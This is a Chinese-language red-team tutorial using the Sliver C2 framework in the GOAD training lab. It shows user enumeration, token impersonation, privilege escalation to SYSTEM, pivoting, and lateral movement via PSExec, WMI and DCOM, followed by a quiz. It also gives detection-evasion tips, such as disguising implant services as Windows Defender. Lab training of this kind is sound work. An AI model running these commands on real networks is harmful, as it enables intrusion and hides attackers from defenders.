
在 Day 25 中,我們學習了 Sliver C2 的基本操作。今天我們將深入探討從使用者列舉到橫向移動的完整攻擊鏈,包括:
假設我們已經在 GOAD 環境的 winterfell.north.sevenkingdoms.local 上建立了 Sliver beacon,目前身份是 NORTH\catelyn.stark。
sliver (HEALTHY_MARACA) > seatbelt LocalUsers




====== LocalUsers ======
ComputerName   : localhost
UserName       : eddard.stark
Enabled        : True
Rid            : 1111
UserType       : Administrator
Comment        : Eddard Stark
PwdLastSet     : 9/7/2025 10:32:33 AM
LastLogon      : 10/9/2025 11:25:57 PM
NumLogins      : 1885                    ⚠️ 頻繁登入
UserName       : robb.stark
Enabled        : True
Rid            : 1113
UserType       : Administrator
Comment        : Robb Stark
LastLogon      : 10/9/2025 11:26:07 PM
NumLogins      : 13784                   🎯 超高活躍度
UserName       : samwell.tarly
Comment        : Samwell Tarly (Password : Heartsbane)  🔥 密碼洩漏!
關鍵發現:
sliver (HEALTHY_MARACA) > seatbelt LocalGroups

** WINTERFELL\Administrators **
User    NORTH\eddard.stark      🎯 域管理員
Group   NORTH\Domain Admins     🔥 整個群組都是管理員
User    NORTH\robb.stark        🎯 本地管理員

sliver (HEALTHY_MARACA) > execute-assembly /opt/SharpCollection/NetFramework_4.7_Any/SharpView.exe Get-NetUser

# 關鍵發現:
# 1. eddard.stark - 域管理員
# 2. jon.snow - TRUSTED_TO_AUTH_FOR_DELEGATION(約束委派)
# 3. brandon.stark - DONT_REQ_PREAUTH(AS-REP Roasting 目標)
# 4. sansa.stark - ServicePrincipalName(Kerberoasting 目標)
samaccountname : eddard.stark
memberof : { ..., CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local, CN=Administrators,CN=Builtin,... }
admincount : 1
Domain Admins 群組即為域管。admincount: 1 也常見於受保護帳號(例如域管)→ 會被 AdminSDHolder/SDProp 保護。samaccountname : jon.snow
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION
msds-allowedtodelegateto : {CIFS/winterfell, CIFS/winterfell.north.sevenkingdoms.local}
ServicePrincipalName : CIFS/thewall.north.sevenkingdoms.local
TRUSTED_TO_AUTH_FOR_DELEGATION 表示啟用 Kerberos Constrained Delegation (S4U2Self/S4U2Proxy)。msds-allowedtodelegateto 明確列出「允許代理的目標服務」(此為約束委派的目標服務清單)。SPN(如 CIFS/...)通常代表服務身分,常見於可被設定委派的情境。samaccountname : brandon.stark
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, **DONT_REQ_PREAUTH**
DONT_REQ_PREAUTH 關閉了 Kerberos 預驗證,任何人都可向 KDC 要到 AS-REP(含可離線爆破的加密片段),因此是 AS-REP Roasting 的標準目標。samaccountname : sansa.stark
ServicePrincipalName : **HTTP/eyrie.north.sevenkingdoms.local**
SPN,就會成為 Kerberoasting 目標(可向 KDC 請票並離線破解服務金鑰)。HTTP/eyrie... 明確顯示 SPN 綁在使用者上(而非電腦帳號)。基於實際測試,Sliver 的 token 操作有以下特性:
| 指令 | 本地身份改變 | 網路憑證改變 | 建立新 Beacon | 主要用途 | 
|---|---|---|---|---|
| make-token | ❌ 否 | ✅ 是 | ❌ 否 | 網路資源存取 | 
| migrate | ✅ 是 | ✅ 是 | ✅ 是 | 切換到其他處理程序 | 
| getsystem | ✅ 是 | ✅ 是 | ✅ 是 | 提升為 SYSTEM | 
# 使用 samwell.tarly 的洩漏密碼
sliver (HEALTHY_MARACA) > make-token -u samwell.tarly -d NORTH -p Heartsbane

[*] Successfully impersonated NORTH\samwell.tarly. Use `rev2self` to revert.
# 完成後清理
sliver (HEALTHY_MARACA) > rev2self

# 查找目標使用者的處理程序
sliver (HEALTHY_MARACA) > ps
Pid    Owner                Arch    Executable              Session
====== ==================== ======= ======================= =========
4820   NORTH\robb.stark     x86_64  explorer.exe            1        🎯

# Migrate 到 robb.stark 的處理程序
sliver (HEALTHY_MARACA) > migrate -p 4820
[*] Successfully migrated to 4820
[*] Beacon 7c9fe0da HEALTHY_MARACA - 192.168.139.11:58083 (winterfell)
                                                          ✅ 建立了新 beacon!

# 列出所有 beacons
sliver (HEALTHY_MARACA) > beacons
 ID         Username              Last Check-In
========== ===================== ===============
 478923fe   NORTH\catelyn.stark   1m ago          ⬅️ 原始 beacon
 7c9fe0da   NORTH\robb.stark      10s ago         ⬅️ 新 beacon

# 切換到新 beacon
sliver (HEALTHY_MARACA) > use 7c9fe0da
# 確認新身份
sliver (HEALTHY_MARACA) > whoami
Logon ID: NORTH\robb.stark                  ✅ 身份已改變!
# 使用 getsystem 提升權限
sliver (HEALTHY_MARACA) > getsystem
[*] A new SYSTEM session should pop soon...
[*] Beacon 914895fd HEALTHY_MARACA - 192.168.139.11:58111 (winterfell)
# 切換到 SYSTEM beacon
sliver (HEALTHY_MARACA) > use 914895fd
sliver (HEALTHY_MARACA) > whoami
Logon ID: NT AUTHORITY\SYSTEM              ✅ 最高權限!


在多層網路環境中,攻擊機無法直接存取內部網路。我們需要透過已入侵的機器作為跳板。
因 GOAD 機器都在相同網段,因此以下 IP 為舉例。
攻擊機 (10.10.14.66)
    ↓
外部機器 WEB01 (10.129.205.234 | 172.16.1.11)
    ↓
內部機器 SRV01/SRV02 (172.16.1.12/13)
# 在 WEB01 上建立 TCP pivot listener
sliver (http-beacon) > pivots tcp --bind 172.16.1.11
[*] Started tcp pivot listener 172.16.1.11:9898 with id 1
# 生成指向 pivot 的 implant
sliver (http-beacon) > generate --format service -i 172.16.1.11:9898 --skip-symbols -N pivot-implant
[*] Generating new windows/amd64 implant binary
[*] Build completed in 3s
[*] Implant saved to /home/user/pivot-implant.exe
# 查看 pivot 狀態
sliver (http-beacon) > pivots
 ID   Protocol   Bind Address       Number Of Pivots 
==== ========== ================== ==================
  1   TCP        172.16.1.11:9898                  0
# 啟動 SOCKS5 代理
sliver (http-beacon) > socks5 start
[*] Started SOCKS5 127.0.0.1:1081
# 配置 proxychains(在攻擊機)
sudo nano /etc/proxychains4.conf
# 添加:
socks5 127.0.0.1 1081
# 測試代理
proxychains crackmapexec smb 172.16.1.12 -u svc_sql -p jkhnrjk123!
SMB  172.16.1.12  445  SRV01  [+] NORTH\svc_sql:jkhnrjk123!
# 轉發 RDP 端口
sliver (http-beacon) > portfwd add --bind 127.0.0.1:3389 --remote 172.16.1.12:3389
[*] Port forwarding 127.0.0.1:3389 -> 172.16.1.12:3389
# 現在可以本地連接
xfreerdp /v:127.0.0.1 /u:svc_sql /p:jkhnrjk123! /d:NORTH
# ❌ 不好的做法(容易被偵測)
sliver > psexec srv01.local
# ✅ 好的做法
sliver > psexec \
    --custom-exe /path/to/implant.exe \
    --service-name "WindowsDefender" \          # 使用合理的服務名
    --service-description "Windows Defender" \  # 描述要合理
    srv01.local
PSExec 的偵測指標:
WMI 是原生的 Windows 管理工具,較不容易被偵測。
# 1. 上傳 implant 到目標
sliver (http-beacon) > make-token -u svc_sql -d NORTH -p jkhnrjk123!
sliver (http-beacon) > shell
PS> cd \\srv02.north.sevenkingdoms.local\c$\windows\tasks
PS> # 從 WEB01 複製 implant 到 SRV02
PS> copy C:\Windows\Temp\wmi-implant.exe \\srv02...\c$\windows\tasks\
# 2. 使用 WMI 執行
sliver (http-beacon) > execute -o wmic /node:172.16.1.13 /user:svc_sql /password:jkhnrjk123! process call create "C:\\windows\\tasks\\wmi-implant.exe"
[*] Output:
Executing (Win32_Process)->Create()
Method execution successful.
ProcessId = 1128
ReturnValue = 0
# 3. 等待新 beacon
[*] Session d35ddf7e wmi-implant - ... (srv02) - NORTH\svc_sql
替代方案:使用 wmiexec.py
# 透過 proxychains 使用 Impacket
proxychains impacket-wmiexec north/svc_sql:jkhnrjk123!@172.16.1.13
C:\> hostname
srv02
C:\> whoami
north\svc_sql
DCOM 更隱蔽,因為有多種方法和不同的 IOC。
proxychains impacket-dcomexec -object MMC20 north/svc_sql:jkhnrjk123!@172.16.1.13
C:\> hostname
srv02
| 方法 | 權限 | 隱蔽性 | 網路埠 | 日誌記錄 | 清理 | 
|---|---|---|---|---|---|
| PSExec | Admin | ⭐⭐ | 445 (SMB) | Event 7045 | 自動清理服務 | 
| WMI | Admin | ⭐⭐⭐ | 135, 445 | WMI 日誌 | 需手動清理檔案 | 
| DCOM | Admin | ⭐⭐⭐⭐ | 135 | 較少日誌 | 取決於方法 | 
問題:Sliver 的 shell 指令使用固定參數
# Sliver 使用的 PowerShell 參數
-NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8
Sigma 規則(會被偵測):
detection:
    selection:
        CommandLine|contains: '-NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8'
規避方式:
execute 而非 shell
問題:預設注入到 spoolsv.exe,會被監控
# ❌ 預設(容易被偵測)
sliver > getsystem
# ✅ 改進(指定其他處理程序)
sliver > getsystem -p svchost.exe
偵測指標:
問題:預設行為容易被偵測
# Velociraptor 偵測規則
PathName =~ ":\\\\Windows\\\\Temp\\\\[a-zA-Z0-9]{10}\\.exe"
ServiceName =~ "^Sliver$"
Description =~ "Sliver implant"
規避方式:
# ❌ 不好
sliver > psexec srv01.local
# ✅ 好
sliver > psexec \
    --custom-exe /path/to/implant.exe \
    --service-name "MicrosoftEdgeUpdate" \
    --service-description "Microsoft Edge Update Service" \
    --binpath "c:\\windows\\system32" \
    srv01.local
# 1. 重新命名 beacon 以便識別
sliver > use 7c9fe0da
sliver (HEALTHY_MARACA) > rename robb_stark_beacon
sliver > use 914895fd
sliver (HEALTHY_MARACA) > rename system_beacon
# 2. 查看所有 beacon
sliver > beacons
 ID         Name                Username              
========== =================== =====================
 478923fe   HEALTHY_MARACA      NORTH\catelyn.stark  
 7c9fe0da   robb_stark_beacon   NORTH\robb.stark     
 914895fd   system_beacon       NT AUTHORITY\SYSTEM  
# 3. 調整回連間隔(降低網路流量)
sliver > use system_beacon
sliver (system_beacon) > reconfig -i 300 -j 60
# 每 5 分鐘回連一次,抖動 60 秒
# 4. 完成任務後清理不需要的 beacon
sliver > use robb_stark_beacon
sliver (robb_stark_beacon) > kill
[*] Killed beacon 7c9fe0da
風險:
降低風險:
# 1. 最小化 beacon 數量
# 只保留必要的 beacon(通常 1-2 個就足夠)
# 2. 選擇合適的處理程序
# ✅ 好的選擇:explorer.exe, svchost.exe, RuntimeBroker.exe
# ❌ 避免:notepad.exe, cmd.exe, 防毒相關處理程序
# 3. 完成任務後立即清理
sliver > use temp_beacon
sliver > # 執行必要操作
sliver > kill
需要新身份?
│
├─ 有明文密碼?
│  ├─ 是 → 需要改變本地身份?
│  │      ├─ 否 → make-token(網路存取)      ✅ 最簡單
│  │      └─ 是 → migrate 到目標處理程序        ⚠️ 建立新 beacon
│  │
│  └─ 否 → 目標使用者有處理程序?
│         ├─ 是 → migrate -p <PID>              ✅ 推薦
│         └─ 否 → 需要先獲取憑證
│
└─ 只需要 SYSTEM?
   └─ getsystem(如果是管理員)                 ✅ 簡單直接
需要橫向移動?
│
├─ 有管理員憑證?
│  ├─ 是 → 網路可達性?
│  │      ├─ 直接可達 → 選擇方法:
│  │      │              - PSExec(最快,但較明顯)
│  │      │              - WMI(中等隱蔽)
│  │      │              - DCOM(最隱蔽)
│  │      │
│  │      └─ 需要 Pivot → 建立 TCP pivot 或 SOCKS5
│  │
│  └─ 否 → 需要先提權或取得憑證
│
└─ 目標機器防護?
   ├─ 有 EDR → 使用更隱蔽的方法(DCOM/WMI)
   └─ 基本防護 → PSExec 可用(但記得改參數)
| 指令 | 語法 | 用途 | 備註 | 
|---|---|---|---|
| make-token | make-token -u <user> -d <domain> -p <pass> | 網路資源存取 | 不改變本地身份 | 
| migrate | migrate -p <PID> | 切換到其他處理程序 | 建立新 beacon | 
| getsystem | getsystem [-p <process>] | 提升為 SYSTEM | 建立新 beacon | 
| rev2self | rev2self | 還原原始身份 | 清理 make-token | 
| whoami | whoami | 查看當前身份 | - | 
| 指令 | 語法 | 用途 | 
|---|---|---|
| beacons | beacons | 列出所有 beacon | 
| use | use <beacon-id> | 切換到指定 beacon | 
| rename | rename <new-name> | 重新命名 beacon | 
| kill | kill | 終止當前 beacon | 
| reconfig | reconfig -i <interval> -j <jitter> | 調整回連設定 | 
| 指令 | 語法 | 用途 | 
|---|---|---|
| pivots tcp | pivots tcp --bind <ip> | 建立 TCP pivot | 
| pivots | pivots | 列出 pivot listeners | 
| socks5 | socks5 start | 啟動 SOCKS5 代理 | 
| portfwd | portfwd add --bind <local> --remote <remote> | 端口轉發 | 
| 指令 | 語法 | 用途 | 
|---|---|---|
| psexec | psexec --custom-exe <path> <host> | PSExec 橫向移動 | 
| execute | execute -o <command> | 執行命令 | 
1. 初始存取 (catelyn.stark - 本地管理員)
   ↓
2. 使用者列舉 (Seatbelt + SharpView)
   ├─ 本地使用者
   ├─ 本地管理員群組
   └─ 域使用者
   ↓
3. 發現高價值目標
   ├─ eddard.stark (域管理員)
   ├─ robb.stark (活躍的本地管理員)
   └─ samwell.tarly (密碼洩漏: Heartsbane)
   ↓
4. Token 操作 / 身份切換
   ├─ make-token(網路存取)
   ├─ migrate(切換處理程序)
   └─ getsystem(提升為 SYSTEM)
   ↓
5. 設置 Pivoting(如需要)
   ├─ TCP pivot
   ├─ SOCKS5 代理
   └─ 端口轉發
   ↓
6. 橫向移動
   ├─ PSExec
   ├─ WMI
   └─ DCOM
   ↓
7. 域控制器入侵
   ├─ 傾印憑證
   └─ DCSync 攻擊
   ↓
8. 清理與持久化
   └─ 清理不需要的 beacon
use, rename, kill
執行 make-token -u samwell.tarly -d NORTH -p Heartsbane 後,下列哪個操作會成功?
A. whoami 會顯示 NORTH\samwell.tarly
B. migrate -p 4820 會失敗
C. net use \\server\C$ 會使用 samwell.tarly 的憑證
D. getsystem 會失敗
✅ 正確答案:C
解析: make-token 建立的是網路憑證,不會改變本地身份(排除 A)。make-token 不影響 migrate 或 getsystem 的執行(排除 B、D)。只有網路存取(如 net use)會使用新憑證。
執行 migrate -p 4820 成功後,會發生什麼?
A. 當前 beacon 的身份改變
B. 建立一個新的 beacon
C. 原始 beacon 被終止
D. 所有 beacon 都會改變身份
✅ 正確答案:B
解析: migrate 會建立一個新的 beacon,注入到目標處理程序。原始 beacon 仍然存在且身份不變。需要使用 use 切換到新 beacon。
內部機器 192.168.1.100 無法直接連接,但可以透過已入侵的 WEB01 (172.16.1.11) 存取。要使用 Impacket 工具,最適合的方法是?
A. TCP pivot
B. SOCKS5 代理 + proxychains
C. 端口轉發
D. 不需要 pivoting
✅ 正確答案:B
解析: Impacket 工具需要透過代理訪問整個網段,SOCKS5 + proxychains 是最合適的方案。TCP pivot 用於 Sliver implant,端口轉發只能存取單一服務。
在高度監控的環境中,需要橫向移動到另一台機器,最隱蔽的方法是?
A. PSExec
B. WMI
C. DCOM
D. RDP
✅ 正確答案:C
解析: DCOM 是最隱蔽的方法,因為:
PSExec 會產生 Event ID 7045(新服務),WMI 會產生 WMI 日誌,RDP 會產生登入日誌。
下列哪個 PSExec 用法最安全?
A. psexec srv01.local
B. psexec --service-name Sliver srv01.local
C. psexec --custom-exe /path/to/implant.exe --service-name MicrosoftUpdate --service-description "Microsoft Update Service" srv01.local
D. psexec --service-name backdoor srv01.local
✅ 正確答案:C
解析: 選項 C 做到了:
選項 A 使用預設參數(服務名 "Sliver",容易被偵測)。選項 B 和 D 的服務名稱都很可疑。
有 3 個 beacons 在運行,要切換到 robb.stark 的 beacon(ID: 7c9fe0da)並檢查身份,正確的操作順序是?
A. whoami → use 7c9fe0da
B. use 7c9fe0da → whoami
C. beacons → whoami → use 7c9fe0da
D. rename robb → use 7c9fe0da → whoami
✅ 正確答案:B
解析: 正確順序是:
use 切換到目標 beaconwhoami 檢查身份選項 A 順序錯誤。選項 C 多了不必要的 beacons(雖然沒錯,但不是最佳答案)。選項 D 的 rename 在沒有切換 beacon 前執行會重新命名當前 beacon。